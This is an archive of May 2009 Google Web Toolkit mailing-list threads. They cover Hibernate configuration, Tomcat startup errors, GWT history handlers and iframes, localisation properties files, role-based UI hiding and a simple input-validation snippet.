Re: GWT and Hibernate XML files vs Annotations
I second Bruno and would add a few things. You can group entities and queries into DAOs and not pure entities and queries. So, to summarize: - Each DAO goes into it's own .hbm.xml file. This contains the core entity for that DAO and a few peripherial ones, i.e. Employee being the core and, Address and File the auxiliary ones, as long as the entity is not shared among multiple entities. Then it would go into it's own file. - Queries for a DAO go into the same .hbm.xml file like the main entities for that DAO. You might for instance want to do LEFT JOIN FETCH to work around lazy loading ( = null during RPC serialization with Gilead) - Since your application probably will be running on multiple environments (i.e. your laptop and a web hoster), I would do all the static configuration in the hibernate.xml file and off-load the environment specific configuration into the applicationContext.xml via properties on the LocalSessionFactory bean. On May 20, 10:00 pm, noon bruno.marches...@gmail.com wrote: Hi, Looks like the hibernate.cfg.xml file is the one used to define relationship (the good practice is to have a mapping file for each Domain class, such as User.hbm.xml, Message.hbm.xml, and so on). Of course, since GWT 1.5, you can define your mapping attributes using annotations (so you can use GWT-Validator on your domain classes for example). Hope this helps Bruno PS : I agree with you Paul. Jim, instead of spamming every Hibernate thread, maybe you could try to answer the Hibernate question, it would be helpful ;-) On 20 mai, 20:35, Paul Grenyer paul.gren...@gmail.com wrote: Hi If you find Hibernate is difficult to use, you may try Dreamsource ORM for your application. You can find an GWT example in http://www.gwtorm.com/mail/Mail.html. Is anyone else getting a little sick of this constant gratuitous on-list plugging? -- Thanks Paul Paul Grenyer e: paul.gren...@gmail.com w:http://www.marauder-consulting.co.uk b: paulgrenyer.blogspot.com --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Unable to start the tomcat server
Hi All, Iam not able to start the tomcat server. Please fidn the error log below and help me out. Error: .java:515) at org.apache.catalina.startup.ContextConfig.start (ContextConfig.java:62 3) at org.apache.catalina.startup.ContextConfig.lifecycleEvent (ContextConfi g.java:216) at org.apache.catalina.util.LifecycleSupport.fireLifecycleEvent (Lifecycl eSupport.java:119) at org.apache.catalina.core.StandardContext.start (StandardContext.java:4 290) at org.apache.catalina.core.ContainerBase.addChildInternal (ContainerBase .java:823) at org.apache.catalina.core.ContainerBase.addChild (ContainerBase.java:80 7) at org.apache.catalina.core.StandardHost.addChild (StandardHost.java:595) at org.apache.catalina.core.StandardHostDeployer.install (StandardHostDep loyer.java:277) at org.apache.catalina.core.StandardHost.install (StandardHost.java:832) at org.apache.catalina.startup.HostConfig.deployDirectories (HostConfig.j ava:701) at org.apache.catalina.startup.HostConfig.deployApps (HostConfig.java:432 ) at org.apache.catalina.startup.HostConfig.start (HostConfig.java:983) at org.apache.catalina.startup.HostConfig.lifecycleEvent (HostConfig.java :349) at org.apache.catalina.util.LifecycleSupport.fireLifecycleEvent (Lifecycl eSupport.java:119) at org.apache.catalina.core.ContainerBase.start (ContainerBase.java:1091) at org.apache.catalina.core.StandardHost.start (StandardHost.java:789) at org.apache.catalina.core.ContainerBase.start (ContainerBase.java:1083) at org.apache.catalina.core.StandardEngine.start (StandardEngine.java:478 ) at org.apache.catalina.core.StandardService.start (StandardService.java:4 80) at org.apache.catalina.core.StandardServer.start (StandardServer.java:231 3) at org.apache.catalina.startup.Catalina.start(Catalina.java: 556) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) at java.lang.reflect.Method.invoke(Unknown Source) at org.apache.catalina.startup.Bootstrap.start(Bootstrap.java: 287) at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java: 425) Caused by: java.lang.IllegalArgumentException: Servlet mapping specifies an unkn own servlet name invoker at org.apache.catalina.core.StandardContext.addServletMapping (StandardCo ntext.java:2234) at org.apache.catalina.core.StandardContext.addServletMapping (StandardCo ntext.java:2214) ... 45 more May 21, 2009 11:26:39 AM org.apache.catalina.startup.ContextConfig defaultConfig SEVERE: Parse error in default web.xml java.lang.IllegalArgumentException: Servlet mapping specifies an unknown servlet name invoker at org.apache.commons.digester.Digester.createSAXException (Digester.java :2540) at org.apache.commons.digester.Digester.createSAXException (Digester.java :2566) at org.apache.commons.digester.Digester.endElement (Digester.java:1061) at org.apache.xerces.parsers.AbstractSAXParser.endElement (Unknown Source ) at org.apache.xerces.impl.XMLDocumentFragmentScannerImpl.scanEndElement( Unknown Source) at org.apache.xerces.impl.XMLDocumentFragmentScannerImpl $FragmentContent Dispatcher.dispatch(Unknown Source) at org.apache.xerces.impl.XMLDocumentFragmentScannerImpl.scanDocument(Un known Source) at org.apache.xerces.parsers.XML11Configuration.parse(Unknown Source) at org.apache.xerces.parsers.XML11Configuration.parse(Unknown Source) at org.apache.xerces.parsers.XMLParser.parse(Unknown Source) at org.apache.xerces.parsers.AbstractSAXParser.parse(Unknown Source) at org.apache.commons.digester.Digester.parse(Digester.java: 1548) at org.apache.catalina.startup.ContextConfig.defaultConfig (ContextConfig .java:515) at org.apache.catalina.startup.ContextConfig.start (ContextConfig.java:62 3) at org.apache.catalina.startup.ContextConfig.lifecycleEvent (ContextConfi g.java:216) at org.apache.catalina.util.LifecycleSupport.fireLifecycleEvent (Lifecycl eSupport.java:119) at org.apache.catalina.core.StandardContext.start (StandardContext.java:4 290) at org.apache.catalina.core.ContainerBase.addChildInternal (ContainerBase .java:823) at org.apache.catalina.core.ContainerBase.addChild (ContainerBase.java:80 7) at org.apache.catalina.core.StandardHost.addChild (StandardHost.java:595) at org.apache.catalina.core.StandardHostDeployer.install (StandardHostDep loyer.java:277) at org.apache.catalina.core.StandardHost.install (StandardHost.java:832) at org.apache.catalina.startup.HostConfig.deployDirectories (HostConfig.j ava:701) at org.apache.catalina.startup.HostConfig.deployApps
HandlerRegistration.removeHandler() is NOT WORKING
Hello, I am stuck with the fact that HandlerRegistration.removeHandler() is not removing my handler. I have two controllers, say ParentController and ChildController, each implements ValueChangeHandlerString to handle history events The root class extended by both parent and child controllers: public abstract class RootController implements ValueChangeHandlerString{ protected Controller parent = null; protected HandlerRegistration historyHandler = null; protected HashMapString, Controller childControllers = new HashMapString, Controller(4); public RootController(Controller parent){ this.parent = parent; } public giveHistoryControlTo(RootController controller){ historyHandler.removeHandler(); controller.setHistoryHandler( History.addValueChangeHandler (controller)); History.fireCurrentHistoryState(); } } public class ParentController extends RootController implements Entry Point { public void onModuleLoad() { childControllers.put( ChildController.NAME, new ChildController (this)); historyHandler = History.addValueChangeHandler(this); History.fireCurrentHistoryState(): } at some point ParentController executes: giveHistoryControlTo( childController.get (ChildController.NAME)); the above works fine, handler is removed and new event is handled by the child controller } public class ChildController extends RootController{ public ChildController(ParentController parent){ super(parent); } at some point ChildController executes: giveHistoryControlTo( (ParentController) parent ); the above fails!!! it appears as though handler is not removed as the History.fireCurrentHistoryState() inside giveHistoryControlTo () is being handled by the ChildController, instead of parent : ( } Feels like a bug. Is there a reason why .removeHandler() would not immediately do what it is supposed to? - Tristan ps. God helps those who help themselves I hacked a workaround. But the bug still remains. (workaround was setting historyHandler to null when giving up control and then explicitly calling the parent's onValueChange() if historyHandler == null) --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: GWT and Hibernate XML files vs Annotations
And Jim, no, we don't find Hibernate hard to use, especially since it's a quasi-standard;-) On May 20, 7:56 pm, Jim jim.p...@gmail.com wrote: Rafael, If you find Hibernate is difficult to use, you may try Dreamsource ORM for your application. You can find an GWT example inhttp://www.gwtorm.com/mail/Mail.html. Jimhttp://www.gwtorm.comfor GWT ORMhttp://code.google.com/p/dreamsource-orm/ On May 20, 12:52 pm, Rafael boraf...@gmail.com wrote: Hello everyone! I have the following problem and was hoping you guys could help me out. I have the need to implement a relation inheritance (table per subclass) so i searched the hibernate documentation. The thing is that i am using a project structure which i took from a tutorial i found, and i have the following configuration files: applicationContext.xml (Spring stuff i suppose) hibernate.cfg.xml (mappings) database.hbm.xml (hibernate query definitions) My question is where should the code to define complex relations should go, hibernate.cfg.xml or database.hbm.xml? Is it possible to take care of everything with annotations (eliminating the need to change xml files)? Thanks in advance y'all! PD: Thank you Eggsy for your tutorial on GWT, Hibernate ans Spring combined! very enlightning :) --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
UNABLE TO START TOMCAT
I have reinstalled the tomcat. After that only iam getting the below error: .java:515) at org.apache.catalina.startup.ContextConfig.start (ContextConfig.java:62 3) at org.apache.catalina.startup.ContextConfig.lifecycleEvent (ContextConfi g.java:216) at org.apache.catalina.util.LifecycleSupport.fireLifecycleEvent (Lifecycl eSupport.java:119) at org.apache.catalina.core.StandardContext.start (StandardContext.java:4 290) at org.apache.catalina.core.ContainerBase.addChildInternal (ContainerBase .java:823) at org.apache.catalina.core.ContainerBase.addChild (ContainerBase.java:80 7) at org.apache.catalina.core.StandardHost.addChild (StandardHost.java:595) at org.apache.catalina.core.StandardHostDeployer.install (StandardHostDep loyer.java:277) at org.apache.catalina.core.StandardHost.install (StandardHost.java:832) at org.apache.catalina.startup.HostConfig.deployDirectories (HostConfig.j ava:701) at org.apache.catalina.startup.HostConfig.deployApps (HostConfig.java:432 ) at org.apache.catalina.startup.HostConfig.start (HostConfig.java:983) at org.apache.catalina.startup.HostConfig.lifecycleEvent (HostConfig.java :349) at org.apache.catalina.util.LifecycleSupport.fireLifecycleEvent (Lifecycl eSupport.java:119) at org.apache.catalina.core.ContainerBase.start (ContainerBase.java:1091) at org.apache.catalina.core.StandardHost.start (StandardHost.java:789) at org.apache.catalina.core.ContainerBase.start (ContainerBase.java:1083) at org.apache.catalina.core.StandardEngine.start (StandardEngine.java:478 ) at org.apache.catalina.core.StandardService.start (StandardService.java:4 80) at org.apache.catalina.core.StandardServer.start (StandardServer.java:231 3) at org.apache.catalina.startup.Catalina.start(Catalina.java: 556) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) at java.lang.reflect.Method.invoke(Unknown Source) at org.apache.catalina.startup.Bootstrap.start(Bootstrap.java: 287) at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java: 425) Caused by: java.lang.IllegalArgumentException: Servlet mapping specifies an unkn own servlet name invoker at org.apache.catalina.core.StandardContext.addServletMapping (StandardCo ntext.java:2234) at org.apache.catalina.core.StandardContext.addServletMapping (StandardCo ntext.java:2214) ... 45 more May 21, 2009 11:26:39 AM org.apache.catalina.startup.ContextConfig defaultConfig SEVERE: Parse error in default web.xml java.lang.IllegalArgumentException: Servlet mapping specifies an unknown servlet name invoker at org.apache.commons.digester.Digester.createSAXException (Digester.java :2540) at org.apache.commons.digester.Digester.createSAXException (Digester.java :2566) at org.apache.commons.digester.Digester.endElement (Digester.java:1061) at org.apache.xerces.parsers.AbstractSAXParser.endElement (Unknown Source ) at org.apache.xerces.impl.XMLDocumentFragmentScannerImpl.scanEndElement( Unknown Source) at org.apache.xerces.impl.XMLDocumentFragmentScannerImpl $FragmentContent Dispatcher.dispatch(Unknown Source) at org.apache.xerces.impl.XMLDocumentFragmentScannerImpl.scanDocument(Un known Source) at org.apache.xerces.parsers.XML11Configuration.parse(Unknown Source) at org.apache.xerces.parsers.XML11Configuration.parse(Unknown Source) at org.apache.xerces.parsers.XMLParser.parse(Unknown Source) at org.apache.xerces.parsers.AbstractSAXParser.parse(Unknown Source) at org.apache.commons.digester.Digester.parse(Digester.java: 1548) at org.apache.catalina.startup.ContextConfig.defaultConfig (ContextConfig .java:515) at org.apache.catalina.startup.ContextConfig.start (ContextConfig.java:62 3) at org.apache.catalina.startup.ContextConfig.lifecycleEvent (ContextConfi g.java:216) at org.apache.catalina.util.LifecycleSupport.fireLifecycleEvent (Lifecycl eSupport.java:119) at org.apache.catalina.core.StandardContext.start (StandardContext.java:4 290) at org.apache.catalina.core.ContainerBase.addChildInternal (ContainerBase .java:823) at org.apache.catalina.core.ContainerBase.addChild (ContainerBase.java:80 7) at org.apache.catalina.core.StandardHost.addChild (StandardHost.java:595) at org.apache.catalina.core.StandardHostDeployer.install (StandardHostDep loyer.java:277) at org.apache.catalina.core.StandardHost.install (StandardHost.java:832) at org.apache.catalina.startup.HostConfig.deployDirectories (HostConfig.j ava:701) at org.apache.catalina.startup.HostConfig.deployApps (HostConfig.java:432 ) at
Re: UNABLE TO START TOMCAT
Hi, Iam using XP. On May 21, 11:26 am, Anu anuradha...@gmail.com wrote: I have reinstalled the tomcat. After that only iam getting the below error: .java:515) at org.apache.catalina.startup.ContextConfig.start (ContextConfig.java:62 3) at org.apache.catalina.startup.ContextConfig.lifecycleEvent (ContextConfi g.java:216) at org.apache.catalina.util.LifecycleSupport.fireLifecycleEvent (Lifecycl eSupport.java:119) at org.apache.catalina.core.StandardContext.start (StandardContext.java:4 290) at org.apache.catalina.core.ContainerBase.addChildInternal (ContainerBase .java:823) at org.apache.catalina.core.ContainerBase.addChild (ContainerBase.java:80 7) at org.apache.catalina.core.StandardHost.addChild (StandardHost.java:595) at org.apache.catalina.core.StandardHostDeployer.install (StandardHostDep loyer.java:277) at org.apache.catalina.core.StandardHost.install (StandardHost.java:832) at org.apache.catalina.startup.HostConfig.deployDirectories (HostConfig.j ava:701) at org.apache.catalina.startup.HostConfig.deployApps (HostConfig.java:432 ) at org.apache.catalina.startup.HostConfig.start (HostConfig.java:983) at org.apache.catalina.startup.HostConfig.lifecycleEvent (HostConfig.java :349) at org.apache.catalina.util.LifecycleSupport.fireLifecycleEvent (Lifecycl eSupport.java:119) at org.apache.catalina.core.ContainerBase.start (ContainerBase.java:1091) at org.apache.catalina.core.StandardHost.start (StandardHost.java:789) at org.apache.catalina.core.ContainerBase.start (ContainerBase.java:1083) at org.apache.catalina.core.StandardEngine.start (StandardEngine.java:478 ) at org.apache.catalina.core.StandardService.start (StandardService.java:4 80) at org.apache.catalina.core.StandardServer.start (StandardServer.java:231 3) at org.apache.catalina.startup.Catalina.start(Catalina.java: 556) at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) at java.lang.reflect.Method.invoke(Unknown Source) at org.apache.catalina.startup.Bootstrap.start(Bootstrap.java: 287) at org.apache.catalina.startup.Bootstrap.main(Bootstrap.java: 425) Caused by: java.lang.IllegalArgumentException: Servlet mapping specifies an unkn own servlet name invoker at org.apache.catalina.core.StandardContext.addServletMapping (StandardCo ntext.java:2234) at org.apache.catalina.core.StandardContext.addServletMapping (StandardCo ntext.java:2214) ... 45 more May 21, 2009 11:26:39 AM org.apache.catalina.startup.ContextConfig defaultConfig SEVERE: Parse error in default web.xml java.lang.IllegalArgumentException: Servlet mapping specifies an unknown servlet name invoker at org.apache.commons.digester.Digester.createSAXException (Digester.java :2540) at org.apache.commons.digester.Digester.createSAXException (Digester.java :2566) at org.apache.commons.digester.Digester.endElement (Digester.java:1061) at org.apache.xerces.parsers.AbstractSAXParser.endElement (Unknown Source ) at org.apache.xerces.impl.XMLDocumentFragmentScannerImpl.scanEndElement( Unknown Source) at org.apache.xerces.impl.XMLDocumentFragmentScannerImpl $FragmentContent Dispatcher.dispatch(Unknown Source) at org.apache.xerces.impl.XMLDocumentFragmentScannerImpl.scanDocument(Un known Source) at org.apache.xerces.parsers.XML11Configuration.parse(Unknown Source) at org.apache.xerces.parsers.XML11Configuration.parse(Unknown Source) at org.apache.xerces.parsers.XMLParser.parse(Unknown Source) at org.apache.xerces.parsers.AbstractSAXParser.parse(Unknown Source) at org.apache.commons.digester.Digester.parse(Digester.java: 1548) at org.apache.catalina.startup.ContextConfig.defaultConfig (ContextConfig .java:515) at org.apache.catalina.startup.ContextConfig.start (ContextConfig.java:62 3) at org.apache.catalina.startup.ContextConfig.lifecycleEvent (ContextConfi g.java:216) at org.apache.catalina.util.LifecycleSupport.fireLifecycleEvent (Lifecycl eSupport.java:119) at org.apache.catalina.core.StandardContext.start (StandardContext.java:4 290) at org.apache.catalina.core.ContainerBase.addChildInternal (ContainerBase .java:823) at org.apache.catalina.core.ContainerBase.addChild (ContainerBase.java:80 7) at org.apache.catalina.core.StandardHost.addChild (StandardHost.java:595) at org.apache.catalina.core.StandardHostDeployer.install (StandardHostDep loyer.java:277) at org.apache.catalina.core.StandardHost.install
Re: how to install gwt in ubuntu
Hi, unpack http://google-web-toolkit.googlecode.com/files/gwt-linux-1.6.4.tar.bz2 and set GWT_HOME ( export GWT_HOME=/home/youname/gwt/gwt- linux-1.6.4) On May 21, 9:19 am, javatiger vijayabaskar1...@gmail.com wrote: i am newbee in ubuntu.. i already installed and worked gwt in windows now am trying to work in ubuntu.. so help to solve this solution.. --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: GWT and Hibernate XML files vs Annotations
Hi Rafel, Yeah you can do everything in Hibernate Annotations its really quite powerful. We have moved to using it fully now instead of mapping files. Using the mapping file to simply hold our queries. What kind of relationship are you trying to map? Eggsy PS. Paul - yeah that framework does seem to be plugged quite a lot. ;) On May 21, 7:22 am, George Georgovassilis g.georgovassi...@gmail.com wrote: And Jim, no, we don't find Hibernate hard to use, especially since it's a quasi-standard;-) On May 20, 7:56 pm, Jim jim.p...@gmail.com wrote: Rafael, If you find Hibernate is difficult to use, you may try Dreamsource ORM for your application. You can find an GWT example inhttp://www.gwtorm.com/mail/Mail.html. Jimhttp://www.gwtorm.comforGWT ORMhttp://code.google.com/p/dreamsource-orm/ On May 20, 12:52 pm, Rafael boraf...@gmail.com wrote: Hello everyone! I have the following problem and was hoping you guys could help me out. I have the need to implement a relation inheritance (table per subclass) so i searched the hibernate documentation. The thing is that i am using a project structure which i took from a tutorial i found, and i have the following configuration files: applicationContext.xml (Spring stuff i suppose) hibernate.cfg.xml (mappings) database.hbm.xml (hibernate query definitions) My question is where should the code to define complex relations should go, hibernate.cfg.xml or database.hbm.xml? Is it possible to take care of everything with annotations (eliminating the need to change xml files)? Thanks in advance y'all! PD: Thank you Eggsy for your tutorial on GWT, Hibernate ans Spring combined! very enlightning :) --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Handle events from separate class?
I guess this question is not really GWT specific, but I haven´t been working much with handlers at all when developing web applications earlier. I´ll make a very simple example: public class EventManagerTest implements EntryPoint { public void onModuleLoad() { final Button sendButton = new Button(Send); final TextBox helloField = new TextBox(); } } Let´s say I want to print Hello world in the textbox when someone clicks sendButton. Most examples would use: sendButton.addClickHandler(new ClickHandler() { public void onClick(ClickEvent event) { helloField.setText(Hello world); } }); But if my application will handle multiple click event, I read that it would be better to create a separate class to handle the events, something like: public class Handler implements ClickHandler { @Override public void onClick(ClickEvent event) { } } Now to my question: How can I set the text of the helloField (or manipulate any other widget for that matter) from my Handler class, when the helloField is in another class? Or did I get this wrong altogether? --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: Dynamic Properties File Creation not effective
Ok I will again try to explain you Yes I want to create dynamically new properties file. As you told that I have to restart the server. It is ok. But it should work then. Actually, my doubt is related to GWT that how GWT handles properties file because as I told earlier that when I create a new file in HOSTED MODE IN GWT - it creates a new properties file and then I refresh my application. The newly created properties file WORKS on change of locale. Consider this case as I created a file abc_fr_FR.properties for french in France OK. Then I COMPILE/BROWSE the application, now when I create a new properties file in the same deployment area say it as abc_fr_CN.properties for french in Canada. Both files have different key/value pairs. I changed the locale to fr_FR it worked here. but when i changed to fr_CN It did not work. I then restart the application the whole application. Then tried in hosted mode as well as compile/browse again. Thought the properties file with fr_CN did not work, but the file is present in the deployment area. Now, I deployed my application in Tomcat, there too I created a new properties file say it abc_hi.properties - for hindi language in India OK. Then I checked it by changing the locale to first fr_FR it worked, but in fr_CN and hi (Hindi) it did not worked. So I restarted the Tomcat server. Then also I changed the locales but did not succeeded to change the key/value pairs. The last abc_hi.properties is also dynamically created in the tomcat deployment directory where all other properties file and other files reside. Though I did not succeeded. So my doubt is that - how GWT handles properties file, after compiling the project. Does it access the properties file and then read the key/ value pairs or it stores the key/value pair somewhere while compile. If it is so then it is a BUG in GWT while handling properties files. I hope you understood my problem now. Please help me out. Thanks and Regards, - Bhavik. --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: [ERROR] Not enough arguments (2) passed to external.gwtOnLoad(), expected (3); error
Yes, that applied exactly to my situation too. I could compile fine and it would run fine once in a browser. I just didnt like that error constantly appearing in case it effected other things I was trying to debug. Upgradeing to dev.HostedMode fixed the problem, as its been weeks since I have seen it. On May 20, 11:06 pm, Cameron McKenzie www.hibernatemadeeasy.com javaserverfacesjsf...@gmail.com wrote: I was hitting the same error from the hosted mode in Eclipse once I added the gwt-ext library. Curiously, when I hit the 'Browse/Compile' button in the GWT plugin test environment, the code would actually recompile and run properly in a browser. So, if hosted mode gives you this error, it might be worthwhile to test the application directly in a browser. More discussion here: http://www.coderanch.com/t/446258/Application-Frameworks/Not-enough-a... -Cameron McKenzie --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: Problem with using History tokens and Frames in IE (very basic code included)
Ok, I have come up with a work-around, but its such a kludge and rather extreme, Id still be interested in other solutions to this problem. (Id also like to here if its just IE6 or IE7/8 too, as I dont have those installed). My preposed solution is thus; 1) Use a HTMLPanel rather then an iFrame 2) Load the HTML into a string. 3) Parse the string, swapping a href= entrys for div ID=blah, giving each a unique ID. 4) Creating a Hyperlink object that has #oldlinkurl as its token. 5) Place the Hyperlink objects in the HTMLPanel at the correct places using addAndReplaceElement 6) Add a historylistener to the main app that detects when the token is set to a url, and then loads that new url into the HTMLpanel, starting the whole process again from step 2. Now, I believe this will work, as IE dosnt refresh the page for internal settings of the history token, only when a link is clicked. However, its naturally a rather ridiculous, not to mention slow, method to go though. On May 18, 5:05 pm, darkflame darkfl...@gmail.com wrote: Specificaly, it seems impossible to have a link within a Frame change the token of the parent (top) page, without the whole thing refreshing. For instance this; http://www.darkflame.co.uk/iFrame%20problem/FrameTest.html Click on the links in firefox, and the token changes nicely. Click on the links in IE, and the whole page refreshs. Now, the interesting thing is this problem only happens if the History is actualy used listened for. The code on that page is just; = public void onModuleLoad() { //iframe Frame testFrame = new Frame(); RootPanel.get().add(testFrame,100,100); testFrame.setSize(90%,90%); testFrame.setUrl(2.html); //* REMOVE THIS LINE AND IT WORKS IN IE* History.addValueChangeHandler(this); //* } public void onValueChange(ValueChangeEventString event) { String historyToken = event.getValue(); Window.alert(page changed to:+historyToken); } (just a standard project made with the plugin, with that code, and the html you see used on the two pages) My theory; I'm guessing that by using the GWT history, the page is put into an extra frame which somehow stops the links from working without refreshing the page. Allthough refering to top in the javascript still has the same effect. Interesting to note; The history changes first, then the page refreshs afterby a clear half second or so. I hope someone can help with this, as this is actually a really major issue for my project. Using iFrames becomes kinda worthless to me if the history tokens cant be relied apon as a way to pass messages to the containing app. --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: FastTree and loading animation
Hi, I just wanted to let everyone know that I did implement the spinner control, and I blogged about it: http://markmacumber.blogspot.com/2009/05/gwt-fasttree-and-spinner-icon.html Please take a read and let me know what you think! On Apr 21, 8:25 am, markmac mark.macum...@gmail.com wrote: Thanks Salvador, Ill give that link a look and if I figure something out ill let you know :) On Apr 20, 10:49 pm, Salvador Diaz diaz.salva...@gmail.com wrote: Well, I don't think there are methods to change the expand and collapse icons dynamically (I think you can specify them in the constructor though). You could of course do it through DOM manipulations but that could introduce undesirable side effects, you'll just have to try and tell us what happens. To get an example of how to do that look at this post (it's not about fastTree, but it should give you a good overview of the technique I'm talking about): http://groups.google.com/group/Google-Web-Toolkit/browse_thread/threa... Good luck, Salvador On Apr 20, 1:25 pm, markmac mark.macum...@gmail.com wrote: Hello Salvador, I am actually going to need it due to a rather large data sets that produce many many nodes... Your idea is on the right track, but I was hoping to replace the expand and collapse icons of the node that I am expanding with a little rotational-style icon while the data is being fetched Can you do that? Cheers, Mark On Apr 20, 4:26 pm, Salvador Diaz diaz.salva...@gmail.com wrote: Well, depending on what you're going to show, you might not need to show the loading icon. But if you really want to do it, you should be able to add a TreeItem created from a widget so make your loading icon with a standard image widget, then instantiate your fast tree item with that image, add it to your tree and when you're ready to show the actual data, remove the loading icon and show the data. http://collectionofdemos.appspot.com/javadoc/com/google/gwt/widgetide...) Cheers, Salvador On Apr 20, 4:29 am, markmac mark.macum...@gmail.com wrote: Hi All, Does anyone know how I can get the FastTree to show a loading tree icon when a user expands a tree node? I was hoping to get this for free out of the box, but it does not seem to be available. Any help at all is appreciated. Cheers, Mark --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: Help with storing into session and accessing the session value in a Panel
You can create a RPC to ask the server what is the current user role. You'll need to create a session when the user creates a new session and then you can store inside some user data like the login, profile, ... For a stronger security, you'd have to validate in server RPCs that the current profile is authorised to execute this RPC. It's not secure to rely only on the button because it can be cracked easily. On May 21, 4:00 am, hazy1 matt.egyh...@gmail.com wrote: Send the role information to your GWT client side application. On May 20, 1:38 am, Chetan chetan.minaj...@gmail.com wrote: Hi, I am new to GWT.We have a requirement to hide a button based on the role of the user. We are able to get the correct data from the database based on SOP statements but invariably it is getting overwritten elsewhere. Is there a way where I can add this role that we get from the DB to add it into session and use that value to hide the button on the form? If so can you please let us know with a snippet.Another problem is how to access the session variable in our Panel in which this button is to be hidden. It is seemingly an extremely trivial requirement but we have spent quite sometime to understand how the existing application works but not able to make much headway. Would appreciate if some one from the community can help us out here. Regards, Chetan --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Please help
Hello all, I am badly in need of your help,I am not getting how to do it using GWT? Actually I want to write a validation method for checking whether the input in the textbox is alphabetic or not? I have done it for numeric and also for the textbox should not be empty but not getting how to validate the textbox input for alphabets.Please help me. The format my method is : public boolean validate( ) { .. return ... ; } Please help me --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
Re: Please help
Hi, u can use a function like this... public boolean isAlpha(String abc) { abc = abc.toUpperCase(); for (int i = 0; i abc.length(); i++) { int c = (int) abc.charAt(i); if (c 65 || c 90) { Window.alert(enter a valid data); } return false; } return true; } regards, Abhiram On Thu, May 21, 2009 at 4:29 PM, poonam poonam...@gmail.com wrote: Hello all, I am badly in need of your help,I am not getting how to do it using GWT? Actually I want to write a validation method for checking whether the input in the textbox is alphabetic or not? I have done it for numeric and also for the textbox should not be empty but not getting how to validate the textbox input for alphabets.Please help me. The format my method is : public boolean validate( ) { .. return ... ; } Please help me --~--~-~--~~~---~--~~ You received this message because you are subscribed to the Google Groups Google Web Toolkit group. To post to this group, send email to Google-Web-Toolkit@googlegroups.com To unsubscribe from this group, send email to google-web-toolkit+unsubscr...@googlegroups.com For more options, visit this group at http://groups.google.com/group/Google-Web-Toolkit?hl=en -~--~~~~--~~--~--~---
